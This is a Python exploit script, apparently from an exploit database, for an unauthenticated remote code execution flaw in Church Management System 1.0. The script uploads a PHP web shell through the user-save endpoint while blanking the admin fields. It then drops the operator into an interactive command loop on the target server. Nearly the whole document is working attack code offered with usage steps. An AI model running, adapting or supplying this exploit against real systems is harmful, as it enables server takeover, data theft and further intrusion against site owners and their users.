# Exploit Title: Church Management System (CMS-Website) - Unauthenticated RCE
# Exploit Author: Abdullah Khawaja
# Date: 2021-09-17
# Vendor Homepage: https://www.sourcecodester.com/php/14949/church-management-system-cms-website-using-php-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/church_management_1.zip
# Version: 1.0
# Tested On: Linux + XAMPP 7.4.4
# Description: Church Management System (CMS-Website) 1.0 - Unauthenticated Remote Code Execution
#Step 1: run the exploit in python with this command: python3 exploit.py
#Step 2: Input the URL of the vulnerable application: Example: http://192.168.10.11/church_management/
import requests, sys, urllib, re
import datetime
from colorama import Fore, Back, Style
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
print(r"""
.----------.
.-''-. / /
. __ __ ___ .' .-. ) / ______.'
.'| | |/ `.' `. / .' / / / /_
.' | | .-. .-. ' (_/ / / / '''--.
< | __ __ | | | | | | ,.----------. / / '___ `.
| | ____ .:--.'. .:--.'. | | | | | |// \ / / `'. |
| | \ .' / | \ | / | \ || | | | | |\\ /. ' ) |
| |/ . `" __ | | `" __ | || | | | | | `'----------'/ / _.-')......-' /
| /\ \ .'.''| | .'.''| ||__| |__| |__| .' ' _.'.-'' \ _..'`
| | \ \ / / | |_/ / | |_ / /.-'_.' '------'''
' \ \ \ \ \._,\ '/\ \._,\ '/ / _.'
'------' '---'`--' `" `--' `" ( _.-'
abdullahkhawaja.com
""")
GREEN = '\033[32m' # Green Text
RED = '\033[31m' # Red Text
RESET = '\033[m' # reset to the defaults
#Create a new session
#proxies = {'http': 'http://127.0.0.1:8080', 'https': 'https://127.0.0.1:8080'}
s = requests.Session()
#Set Cookie
cookies = {'PHPSESSID': 'd794ba06fcba883d6e9aaf6e528b0733'}
LINK=input("Enter URL of The Vulnarable Application : ")
def webshell(LINK, session):
try:
WEB_SHELL = LINK+'uploads/'+filename
getdir = {'cmd': 'echo %CD%'}
r2 = session.get(WEB_SHELL, params=getdir, verify=False)
status = r2.status_code
if status != 200:
print (Style.BRIGHT+Fore.RED+"[!] "+Fore.RESET+"Could not connect to the webshell."+Style.RESET_ALL)
r2.raise_for_status()
print(Fore.GREEN+'[+] '+Fore.RESET+'Successfully connected to webshell.')
cwd = re.findall('[CDEF].*', r2.text)
cwd = cwd[0]+"> "
term = Style.BRIGHT+Fore.GREEN+cwd+Fore.RESET
while True:
thought = input(term)
command = {'cmd': thought}
r2 = requests.get(WEB_SHELL, params=command, verify=False)
status = r2.status_code
if status != 200:
r2.raise_for_status()
response2 = r2.text
print(response2)
except:
print("\r\nExiting.")
sys.exit(-1)
#Creating a PHP Web Shell
phpshell = {
'img':
(
'shell.php',
'<?php echo shell_exec($_REQUEST["cmd"]); ?>',
'application/octet-stream',
{'Content-Disposition': 'form-data'}
)
}
# Defining value for form data
data = {'id':'1', 'firstname':'Adminstrator', 'lastname':'Admin','username':'admin','password':''}
def id_generator():
x = datetime.datetime.now()
date_string = x.strftime("%y-%m-%d %H:%M")
date = datetime.datetime.strptime(date_string, "%y-%m-%d %H:%M")
timestamp = datetime.datetime.timestamp(date)
file = int(timestamp)
final_name = str(file)+'_shell.php'
return final_name
filename = id_generator()
#Uploading Reverse Shell
print("[*]Uploading PHP Shell For RCE...")
upload = s.post(LINK+'classes/Users.php?f=save', cookies=cookies, files=phpshell, data=data)
shell_upload = True if("Undefined index: id in" in upload.text) else False
u=shell_upload
if u:
print(GREEN+"[+]PHP Shell has been uploaded successfully!", RESET)
else:
print(RED+"[-]Failed To Upload The PHP Shell!", RESET)
#Executing The Webshell
webshell(LINK, s)
